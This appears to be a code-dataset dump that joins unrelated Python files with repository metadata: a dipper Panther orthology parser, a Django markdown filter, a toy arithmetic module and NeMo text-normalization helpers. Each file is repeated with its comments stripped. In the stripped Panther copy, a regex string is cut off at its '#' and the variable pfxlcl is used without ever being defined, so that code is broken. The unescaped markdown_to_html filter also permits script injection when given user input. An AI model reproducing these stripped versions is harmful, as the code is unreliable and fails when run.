import tarfile import re import logging from dipper.sources.Source import Source from dipper.models.assoc.OrthologyAssoc import OrthologyAssoc from dipper.models.Model import Model from dipper.models.Dataset import Dataset from dipper import config from dipper import curie_map __author__ = 'nicole' logger = logging.getLogger(__name__) class Panther(Source): """ The pairwise orthology calls from Panther DB: http://pantherdb.org/ encompass 22 species, from the RefGenome and HCOP projects. Here, we map the orthology classes to RO homology relationships This resource may be extended in the future with additional species. This currently makes a graph of orthologous relationships between genes, with the assumption that gene metadata (labels, equivalent ids) are provided from other sources. Gene families are nominally created from the orthology files, though these are incomplete with no hierarchical (subfamily) information. This will get updated from the HMM files in the future. Note that there is a fair amount of identifier cleanup performed to align with our standard CURIE prefixes. The test graph of data is output based on configured "protein" identifiers in conf.json. By default, this will produce a file with ALL orthologous relationships. IF YOU WANT ONLY A SUBSET, YOU NEED TO PROVIDE A FILTER UPON CALLING THIS WITH THE TAXON IDS """ PNTHDL = 'ftp://ftp.pantherdb.org/ortholog/current_release' files = { 'refgenome': { 'file': 'RefGenomeOrthologs.tar.gz', 'url': PNTHDL+'/RefGenomeOrthologs.tar.gz'}, 'hcop': { 'file': 'Orthologs_HCOP.tar.gz', 'url': PNTHDL+'/Orthologs_HCOP.tar.gz'} } def __init__(self, graph_type, are_bnodes_skolemized, tax_ids=None): super().__init__(graph_type, are_bnodes_skolemized, 'panther') self.tax_ids = tax_ids self.dataset = Dataset( 'panther', 'Protein ANalysis THrough Evolutionary Relationships', 'http://pantherdb.org/', None, 'http://www.pantherdb.org/terms/disclaimer.jsp') # # Defaults # if self.tax_ids is None: # self.tax_ids = [9606, 10090, 7955] if 'test_ids' not in config.get_config() \ or 'protein' not in config.get_config()['test_ids']: logger.warning("not configured with gene test ids.") else: self.test_ids = config.get_config()['test_ids']['protein'] return def fetch(self, is_dl_forced=False): """ :return: None """ self.get_files(is_dl_forced) # TODO the version number is tricky to get # we can't get it from redirects of the url # TODO use the remote timestamp of the file? return def parse(self, limit=None): """ :return: None """ if self.testOnly: self.testMode = True if self.tax_ids is None: logger.info( "No taxon filter set; Dumping all orthologous associations.") else: logger.info( "Only the following taxa will be dumped: %s", str(self.tax_ids)) self._get_orthologs(limit) return def _get_orthologs(self, limit): """ This will process each of the specified pairwise orthology files, creating orthology associations based on the specified orthology code. this currently assumes that each of the orthology files is identically formatted. Relationships are made between genes here. There is also a nominal amount of identifier re-formatting: MGI:MGI --> MGI Ensembl --> ENSEMBL we skip any genes where we don't know how to map the gene identifiers. For example, Gene:Huwe1 for RAT is not an identifier, so we skip any mappings to this identifier. Often, the there are two entries for the same gene (base on equivalent Uniprot id), and so we are not actually losing any information. We presently have a hard-coded filter to select only orthology relationships where one of the pair is in our species of interest (Mouse and Human, for the moment). This will be added as a configurable parameter in the future. Genes are also added to a grouping class defined with a PANTHER id. Triples: <gene1_id> RO:othologous <gene2_id> <assoc_id> :hasSubject <gene1_id> <assoc_id> :hasObject <gene2_id> <assoc_id> :hasPredicate <RO:orthologous> <assoc_id> dc:evidence ECO:phylogenetic_evidence <panther_id> a DATA:gene_family <panther_id> RO:has_member <gene1_id> <panther_id> RO:has_member <gene2_id> :param limit: :return: """ logger.info("getting orthologs") if self.testMode: g = self.testgraph else: g = self.graph model = Model(g) unprocessed_gene_ids = set() for k in self.files.keys(): f = '/'.join((self.rawdir, self.files[k]['file'])) matchcounter = 0 mytar = tarfile.open(f, 'r:gz') # assume that the first entry is the item fname = mytar.getmembers()[0] logger.info("Parsing %s", fname.name) line_counter = 0 with mytar.extractfile(fname) as csvfile: for line in csvfile: # skip comment lines if re.match(r'^#', line.decode()): logger.info("Skipping header line") continue line_counter += 1 # a little feedback to the user since there's so many if line_counter % 1000000 == 0: logger.info( "Processed %d lines from %s", line_counter, fname.name) line = line.decode().strip() # parse each row. ancestor_taxon is unused # HUMAN|Ensembl=ENSG00000184730|UniProtKB=Q0VD83 # MOUSE|MGI=MGI=2176230|UniProtKB=Q8VBT6 # LDO Euarchontoglires PTHR15964 (a, b, orthology_class, ancestor_taxon, panther_id) = line.split('\t') (species_a, gene_a, protein_a) = a.split('|') (species_b, gene_b, protein_b) = b.split('|') # skip the entries that don't have homolog relationships # with the test ids if self.testMode and not ( re.sub(r'UniProtKB=', '', protein_a) in self.test_ids or re.sub(r'UniProtKB=', '', protein_b) in self.test_ids): continue # map the taxon abbreviations to ncbi taxon ids taxon_a = self._map_taxon_abbr_to_id(species_a) taxon_b = self._map_taxon_abbr_to_id(species_b) # ###uncomment the following code block # if you want to filter based on taxid of favorite animals # taxids = [9606,10090,10116,7227,7955,6239,8355] # taxids = [9606] #human only # retain only those orthologous relationships to genes # in the specified taxids # using AND will get you only those associations where # gene1 AND gene2 are in the taxid list (most-filter) # using OR will get you any associations where # gene1 OR gene2 are in the taxid list (some-filter) if ( self.tax_ids is not None and (int(re.sub(r'NCBITaxon:', '', taxon_a.rstrip())) not in self.tax_ids) and (int(re.sub( r'NCBITaxon:', '', taxon_b.rstrip())) not in self.tax_ids)): continue else: matchcounter += 1 if limit is not None and matchcounter > limit: break # ### end code block for filtering on taxon # fix the gene identifiers gene_a = re.sub(r'=', ':', gene_a) gene_b = re.sub(r'=', ':', gene_b) clean_gene = self._clean_up_gene_id(gene_a, species_a) if clean_gene is None: unprocessed_gene_ids.add(gene_a) gene_a = clean_gene clean_gene = self._clean_up_gene_id(gene_b, species_b) if clean_gene is None: unprocessed_gene_ids.add(gene_b) gene_b = clean_gene # a special case here; mostly some rat genes # they use symbols instead of identifiers. will skip if gene_a is None or gene_b is None: continue rel = self._map_orthology_code_to_RO(orthology_class) evidence_id = 'ECO:0000080' # phylogenetic evidence # add the association and relevant nodes to graph assoc = OrthologyAssoc(g, self.name, gene_a, gene_b, rel) assoc.add_evidence(evidence_id) # add genes to graph; # assume labels will be taken care of elsewhere model.addClassToGraph(gene_a, None) model.addClassToGraph(gene_b, None) # might as well add the taxon info for completeness g.addTriple( gene_a, model.object_properties['in_taxon'], taxon_a) g.addTriple( gene_b, model.object_properties['in_taxon'], taxon_b) assoc.add_association_to_graph() # note this is incomplete... # it won't construct the full family hierarchy, # just the top-grouping assoc.add_gene_family_to_graph( ':'.join(('PANTHER', panther_id))) if not self.testMode \ and limit is not None and line_counter > limit: break logger.info("finished processing %s", f) logger.warning( "The following gene ids were unable to be processed: %s", str(unprocessed_gene_ids)) return @staticmethod def _map_taxon_abbr_to_id(ptax): """ Will map the panther-specific taxon abbreviations to NCBI taxon numbers :param ptax: :return: NCBITaxon id """ taxid = None ptax_to_taxid_map = { 'ANOCA': 28377, # green lizard 'ARATH': 3702, # arabadopsis 'BOVIN': 9913, # cow 'CAEEL': 6239, # worm 'CANFA': 9615, # dog 'CHICK': 9031, # chicken 'DANRE': 7955, # zebrafish 'DICDI': 44689, # discodium 'DROME': 7227, # drosophila melanogaster 'ECOLI': 562, 'HORSE': 9796, # horses 'HUMAN': 9606, # humans 'MACMU': 9544, # macaque 'MONDO': 13616, # opossum 'MOUSE': 10090, # mouse 'ORNAN': 9258, # orangutan 'PANTR': 9598, # chimp 'PIG': 9823, 'RAT': 10116, 'SCHPO': 4896, # pombe yeast 'TAKRU': 31033, # pufferfish 'XENTR': 8364, # xenopus 'YEAST': 4932, # yeast } if ptax in ptax_to_taxid_map: taxid = ':'.join(('NCBITaxon', str(ptax_to_taxid_map.get(ptax)))) else: logger.error("unmapped taxon code %s", ptax) return taxid @staticmethod def _map_orthology_code_to_RO(ortho): """ Map the panther-specific orthology code (P,O,LDO,X,LDX) to relationship-ontology identifiers. :param ortho: orthology code :return: RO identifier """ ortho_rel = OrthologyAssoc.ortho_rel ro_id = ortho_rel['orthologous'] # in orthology relationship with ortho_to_ro_map = { 'P': ortho_rel['paralogous'], 'O': ortho_rel['orthologous'], 'LDO': ortho_rel['least_diverged_orthologous'], 'X': ortho_rel['xenologous'], 'LDX': ortho_rel['xenologous'] } if ortho in ortho_to_ro_map: ro_id = ortho_to_ro_map.get(ortho) else: logger.warning( "unmapped orthology code %s. Defaulting to 'orthology'", ortho) return ro_id @staticmethod def _clean_up_gene_id(geneid, sp): """ A series of identifier rewriting to conform with standard gene identifiers. :param geneid: :param sp: :return: """ # special case for MGI geneid = re.sub(r'MGI:MGI:', 'MGI:', geneid) # rewrite Ensembl --> ENSEMBL geneid = re.sub(r'Ensembl', 'ENSEMBL', geneid) # rewrite Gene:CELE --> WormBase # these are old-school cosmid identifier geneid = re.sub(r'Gene:CELE', 'WormBase:', geneid) if sp == 'CAEEL': if re.match(r'(Gene|ENSEMBLGenome):\w+\.\d+', geneid): geneid = re.sub( r'(?:Gene|ENSEMBLGenome):(\w+\.\d+)', r'WormBase:\1', geneid) if sp == 'DROME': if re.match(r'(ENSEMBLGenome):\w+\.\d+', geneid): geneid = re.sub( r'(?:ENSEMBLGenome):(\w+\.\d+)', r'FlyBase:\1', geneid) # rewrite GeneID --> NCBIGene geneid = re.sub(r'GeneID', 'NCBIGene', geneid) # rewrite Gene:Dmel --> FlyBase geneid = re.sub(r'Gene:Dmel_', 'FlyBase:', geneid) # rewrite Gene:CG --> FlyBase:CG geneid = re.sub(r'Gene:CG', 'FlyBase:CG', geneid) # rewrite ENSEMBLGenome:FBgn --> FlyBase:FBgn geneid = re.sub(r'ENSEMBLGenome:FBgn', 'FlyBase:FBgn', geneid) # rewrite Gene:<ensembl ids> --> ENSEMBL:<id> geneid = re.sub(r'Gene:ENS', 'ENSEMBL:ENS', geneid) # rewrite Gene:<Xenbase ids> --> Xenbase:<id> geneid = re.sub(r'Gene:Xenbase:', 'Xenbase:', geneid) # TODO this would be much better done as # if foo not in curie_map: # if re.match(r'(Gene|ENSEMBLGenome):', geneid) or \ # re.match(r'Gene_ORFName', geneid) or \ # re.match(r'Gene_Name', geneid): # # logger.warning( # #"Found an identifier I don't know how to fix (species %s): %s", # # sp, geneid) pfxlcl = re.split(r':', geneid) pfx = pfxlcl[0] if pfx is None or pfx not in curie_map.get(): logger.warning("No curie prefix for (species %s): %s", sp, geneid) geneid = None return geneid def getTestSuite(self): import unittest from tests.test_panther import PantherTestCase test_suite = unittest.TestLoader().loadTestsFromTestCase( PantherTestCase) return test_suite

37.037825

79

0.544329

import tarfile import re import logging from dipper.sources.Source import Source from dipper.models.assoc.OrthologyAssoc import OrthologyAssoc from dipper.models.Model import Model from dipper.models.Dataset import Dataset from dipper import config from dipper import curie_map __author__ = 'nicole' logger = logging.getLogger(__name__) class Panther(Source): PNTHDL = 'ftp://ftp.pantherdb.org/ortholog/current_release' files = { 'refgenome': { 'file': 'RefGenomeOrthologs.tar.gz', 'url': PNTHDL+'/RefGenomeOrthologs.tar.gz'}, 'hcop': { 'file': 'Orthologs_HCOP.tar.gz', 'url': PNTHDL+'/Orthologs_HCOP.tar.gz'} } def __init__(self, graph_type, are_bnodes_skolemized, tax_ids=None): super().__init__(graph_type, are_bnodes_skolemized, 'panther') self.tax_ids = tax_ids self.dataset = Dataset( 'panther', 'Protein ANalysis THrough Evolutionary Relationships', 'http://pantherdb.org/', None, 'http://www.pantherdb.org/terms/disclaimer.jsp') if 'test_ids' not in config.get_config() \ or 'protein' not in config.get_config()['test_ids']: logger.warning("not configured with gene test ids.") else: self.test_ids = config.get_config()['test_ids']['protein'] return def fetch(self, is_dl_forced=False): self.get_files(is_dl_forced) # TODO use the remote timestamp of the file? return def parse(self, limit=None): if self.testOnly: self.testMode = True if self.tax_ids is None: logger.info( "No taxon filter set; Dumping all orthologous associations.") else: logger.info( "Only the following taxa will be dumped: %s", str(self.tax_ids)) self._get_orthologs(limit) return def _get_orthologs(self, limit): logger.info("getting orthologs") if self.testMode: g = self.testgraph else: g = self.graph model = Model(g) unprocessed_gene_ids = set() for k in self.files.keys(): f = '/'.join((self.rawdir, self.files[k]['file'])) matchcounter = 0 mytar = tarfile.open(f, 'r:gz') # assume that the first entry is the item fname = mytar.getmembers()[0] logger.info("Parsing %s", fname.name) line_counter = 0 with mytar.extractfile(fname) as csvfile: for line in csvfile: # skip comment lines if re.match(r'^ logger.info("Skipping header line") continue line_counter += 1 # a little feedback to the user since there's so many if line_counter % 1000000 == 0: logger.info( "Processed %d lines from %s", line_counter, fname.name) line = line.decode().strip() (a, b, orthology_class, ancestor_taxon, panther_id) = line.split('\t') (species_a, gene_a, protein_a) = a.split('|') (species_b, gene_b, protein_b) = b.split('|') # with the test ids if self.testMode and not ( re.sub(r'UniProtKB=', '', protein_a) in self.test_ids or re.sub(r'UniProtKB=', '', protein_b) in self.test_ids): continue # map the taxon abbreviations to ncbi taxon ids taxon_a = self._map_taxon_abbr_to_id(species_a) taxon_b = self._map_taxon_abbr_to_id(species_b) # ###uncomment the following code block # if you want to filter based on taxid of favorite animals # taxids = [9606,10090,10116,7227,7955,6239,8355] # taxids = [9606] #human only # retain only those orthologous relationships to genes # in the specified taxids # using AND will get you only those associations where # gene1 AND gene2 are in the taxid list (most-filter) # using OR will get you any associations where # gene1 OR gene2 are in the taxid list (some-filter) if ( self.tax_ids is not None and (int(re.sub(r'NCBITaxon:', '', taxon_a.rstrip())) not in self.tax_ids) and (int(re.sub( r'NCBITaxon:', '', taxon_b.rstrip())) not in self.tax_ids)): continue else: matchcounter += 1 if limit is not None and matchcounter > limit: break # ### end code block for filtering on taxon # fix the gene identifiers gene_a = re.sub(r'=', ':', gene_a) gene_b = re.sub(r'=', ':', gene_b) clean_gene = self._clean_up_gene_id(gene_a, species_a) if clean_gene is None: unprocessed_gene_ids.add(gene_a) gene_a = clean_gene clean_gene = self._clean_up_gene_id(gene_b, species_b) if clean_gene is None: unprocessed_gene_ids.add(gene_b) gene_b = clean_gene # a special case here; mostly some rat genes # they use symbols instead of identifiers. will skip if gene_a is None or gene_b is None: continue rel = self._map_orthology_code_to_RO(orthology_class) evidence_id = 'ECO:0000080' # phylogenetic evidence # add the association and relevant nodes to graph assoc = OrthologyAssoc(g, self.name, gene_a, gene_b, rel) assoc.add_evidence(evidence_id) # add genes to graph; # assume labels will be taken care of elsewhere model.addClassToGraph(gene_a, None) model.addClassToGraph(gene_b, None) # might as well add the taxon info for completeness g.addTriple( gene_a, model.object_properties['in_taxon'], taxon_a) g.addTriple( gene_b, model.object_properties['in_taxon'], taxon_b) assoc.add_association_to_graph() # note this is incomplete... # it won't construct the full family hierarchy, assoc.add_gene_family_to_graph( ':'.join(('PANTHER', panther_id))) if not self.testMode \ and limit is not None and line_counter > limit: break logger.info("finished processing %s", f) logger.warning( "The following gene ids were unable to be processed: %s", str(unprocessed_gene_ids)) return @staticmethod def _map_taxon_abbr_to_id(ptax): taxid = None ptax_to_taxid_map = { 'ANOCA': 28377, 'ARATH': 3702, 'BOVIN': 9913, 'CAEEL': 6239, 'CANFA': 9615, 'CHICK': 9031, 'DANRE': 7955, 'DICDI': 44689, 'DROME': 7227, 'ECOLI': 562, 'HORSE': 9796, 'HUMAN': 9606, 'MACMU': 9544, 'MONDO': 13616, 'MOUSE': 10090, 'ORNAN': 9258, 'PANTR': 9598, 'PIG': 9823, 'RAT': 10116, 'SCHPO': 4896, 'TAKRU': 31033, 'XENTR': 8364, 'YEAST': 4932, } if ptax in ptax_to_taxid_map: taxid = ':'.join(('NCBITaxon', str(ptax_to_taxid_map.get(ptax)))) else: logger.error("unmapped taxon code %s", ptax) return taxid @staticmethod def _map_orthology_code_to_RO(ortho): ortho_rel = OrthologyAssoc.ortho_rel ro_id = ortho_rel['orthologous'] ortho_to_ro_map = { 'P': ortho_rel['paralogous'], 'O': ortho_rel['orthologous'], 'LDO': ortho_rel['least_diverged_orthologous'], 'X': ortho_rel['xenologous'], 'LDX': ortho_rel['xenologous'] } if ortho in ortho_to_ro_map: ro_id = ortho_to_ro_map.get(ortho) else: logger.warning( "unmapped orthology code %s. Defaulting to 'orthology'", ortho) return ro_id @staticmethod def _clean_up_gene_id(geneid, sp): geneid = re.sub(r'MGI:MGI:', 'MGI:', geneid) geneid = re.sub(r'Ensembl', 'ENSEMBL', geneid) geneid = re.sub(r'Gene:CELE', 'WormBase:', geneid) if sp == 'CAEEL': if re.match(r'(Gene|ENSEMBLGenome):\w+\.\d+', geneid): geneid = re.sub( r'(?:Gene|ENSEMBLGenome):(\w+\.\d+)', r'WormBase:\1', geneid) if sp == 'DROME': if re.match(r'(ENSEMBLGenome):\w+\.\d+', geneid): geneid = re.sub( r'(?:ENSEMBLGenome):(\w+\.\d+)', r'FlyBase:\1', geneid) geneid = re.sub(r'GeneID', 'NCBIGene', geneid) geneid = re.sub(r'Gene:Dmel_', 'FlyBase:', geneid) geneid = re.sub(r'Gene:CG', 'FlyBase:CG', geneid) geneid = re.sub(r'ENSEMBLGenome:FBgn', 'FlyBase:FBgn', geneid) geneid = re.sub(r'Gene:ENS', 'ENSEMBL:ENS', geneid) geneid = re.sub(r'Gene:Xenbase:', 'Xenbase:', geneid) pfx = pfxlcl[0] if pfx is None or pfx not in curie_map.get(): logger.warning("No curie prefix for (species %s): %s", sp, geneid) geneid = None return geneid def getTestSuite(self): import unittest from tests.test_panther import PantherTestCase test_suite = unittest.TestLoader().loadTestsFromTestCase( PantherTestCase) return test_suite

true

790c96dd4c7bcfd16d5ba09119835c9e3fc6ce48

1,006

py

Python

blog/templatetags/markdown_html.py

whitecat-22/blog_site

21fae0cabacfa206341ec78deefd681f21f2c291

[ "MIT" ]

1

2021-08-19T23:56:38.000Z

blog/templatetags/markdown_html.py

whitecat-22/blog_site

21fae0cabacfa206341ec78deefd681f21f2c291

[ "MIT" ]

null

blog/templatetags/markdown_html.py

whitecat-22/blog_site

21fae0cabacfa206341ec78deefd681f21f2c291

[ "MIT" ]

null

from django import template from django.utils.safestring import mark_safe import markdown from markdownx.utils import markdownify from markdownx.settings import ( MARKDOWNX_MARKDOWN_EXTENSIONS, MARKDOWNX_MARKDOWN_EXTENSION_CONFIGS ) from markdown.extensions import Extension register = template.Library() @register.filter def markdown_to_html(text): """マークダウンをhtmlに変換する。""" return mark_safe(markdownify(text)) class EscapeHtml(Extension): def extendMarkdown(self, md): md.preprocessors.deregister('html_block') md.inlinePatterns.deregister('html') @register.filter def markdown_to_html_with_escape(text): """マークダウンをhtmlに変換する。生のHTMLやCSS、JavaScript等のコードをエスケープした上で、マークダウンをHTMLに変換します。公開しているコメント欄等には、こちらを使ってください。 """ extensions = MARKDOWNX_MARKDOWN_EXTENSIONS + [EscapeHtml()] html = markdown.markdown( text, extensions=extensions, extension_configs=MARKDOWNX_MARKDOWN_EXTENSION_CONFIGS ) return mark_safe(html)

25.15

63

0.762425

from django import template from django.utils.safestring import mark_safe import markdown from markdownx.utils import markdownify from markdownx.settings import ( MARKDOWNX_MARKDOWN_EXTENSIONS, MARKDOWNX_MARKDOWN_EXTENSION_CONFIGS ) from markdown.extensions import Extension register = template.Library() @register.filter def markdown_to_html(text): return mark_safe(markdownify(text)) class EscapeHtml(Extension): def extendMarkdown(self, md): md.preprocessors.deregister('html_block') md.inlinePatterns.deregister('html') @register.filter def markdown_to_html_with_escape(text): extensions = MARKDOWNX_MARKDOWN_EXTENSIONS + [EscapeHtml()] html = markdown.markdown( text, extensions=extensions, extension_configs=MARKDOWNX_MARKDOWN_EXTENSION_CONFIGS ) return mark_safe(html)

true

790c97fefa96c656310b481d8467d21f9c7aefe6

279

py

Python

unittest/code.py

MahanBi/python-tests

b7d8b8a1b6176bd991bd81fdc357203abc6c5288

[ "Apache-2.0" ]

null

unittest/code.py

MahanBi/python-tests

b7d8b8a1b6176bd991bd81fdc357203abc6c5288

[ "Apache-2.0" ]

null

unittest/code.py

MahanBi/python-tests

b7d8b8a1b6176bd991bd81fdc357203abc6c5288

[ "Apache-2.0" ]

null

def add(a: int, b: int) -> int: return a + b def subtract(a: int, b: int) -> int: return a - b def multiply(a: int, b: int or str) -> int: return a * b """ ... ---------------------------------------------------------------------- Ran 3 tests in 0.000s OK """

13.95

70

0.387097

def add(a: int, b: int) -> int: return a + b def subtract(a: int, b: int) -> int: return a - b def multiply(a: int, b: int or str) -> int: return a * b

true

790c981f4cc854524f7a2a7c9050b86f4e6f0725

2,453

py

Python

nemo/collections/nlp/data/text_normalization/utils.py

JMichaelStringer/NeMo

b5b29a69ccb0ec3d8c9ace2f33872ee99858a559

[ "Apache-2.0" ]

1

2021-09-10T10:40:51.000Z

nemo/collections/nlp/data/text_normalization/utils.py

JMichaelStringer/NeMo

b5b29a69ccb0ec3d8c9ace2f33872ee99858a559

[ "Apache-2.0" ]

null

nemo/collections/nlp/data/text_normalization/utils.py

JMichaelStringer/NeMo

b5b29a69ccb0ec3d8c9ace2f33872ee99858a559

[ "Apache-2.0" ]

null

# Copyright (c) 2021, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import string from copy import deepcopy from nltk import word_tokenize from tqdm import tqdm import nemo.collections.nlp.data.text_normalization.constants as constants __all__ = ['read_data_file', 'normalize_str'] def read_data_file(fp): """ Reading the raw data from a file of NeMo format For more info about the data format, refer to the `text_normalization doc <https://github.com/NVIDIA/NeMo/blob/main/docs/source/nlp/text_normalization.rst>`. """ insts, w_words, s_words, classes = [], [], [], [] # Read input file with open(fp, 'r', encoding='utf-8') as f: for line in tqdm(f): es = [e.strip() for e in line.strip().split('\t')] if es[0] == '<eos>': inst = (deepcopy(classes), deepcopy(w_words), deepcopy(s_words)) insts.append(inst) # Reset w_words, s_words, classes = [], [], [] else: classes.append(es[0]) w_words.append(es[1]) s_words.append(es[2]) return insts def normalize_str(input_str, lang): """ Normalize an input string """ input_str_tokens = basic_tokenize(input_str.strip().lower(), lang) input_str = ' '.join(input_str_tokens) input_str = input_str.replace(' ', ' ') return input_str def remove_puncts(input_str): """ Remove punctuations from an input string """ return input_str.translate(str.maketrans('', '', string.punctuation)) def basic_tokenize(input_str, lang): """ The function is used to do some basic tokenization Args: input_str: The input string lang: Language of the input string Return: a list of tokens of the input string """ if lang == constants.ENGLISH: return word_tokenize(input_str) return input_str.strip().split(' ')

34.069444

111

0.6596

import string from copy import deepcopy from nltk import word_tokenize from tqdm import tqdm import nemo.collections.nlp.data.text_normalization.constants as constants __all__ = ['read_data_file', 'normalize_str'] def read_data_file(fp): insts, w_words, s_words, classes = [], [], [], [] with open(fp, 'r', encoding='utf-8') as f: for line in tqdm(f): es = [e.strip() for e in line.strip().split('\t')] if es[0] == '<eos>': inst = (deepcopy(classes), deepcopy(w_words), deepcopy(s_words)) insts.append(inst) w_words, s_words, classes = [], [], [] else: classes.append(es[0]) w_words.append(es[1]) s_words.append(es[2]) return insts def normalize_str(input_str, lang): input_str_tokens = basic_tokenize(input_str.strip().lower(), lang) input_str = ' '.join(input_str_tokens) input_str = input_str.replace(' ', ' ') return input_str def remove_puncts(input_str): return input_str.translate(str.maketrans('', '', string.punctuation)) def basic_tokenize(input_str, lang): if lang == constants.ENGLISH: return word_tokenize(input_str) return input_str.strip().split(' ')

true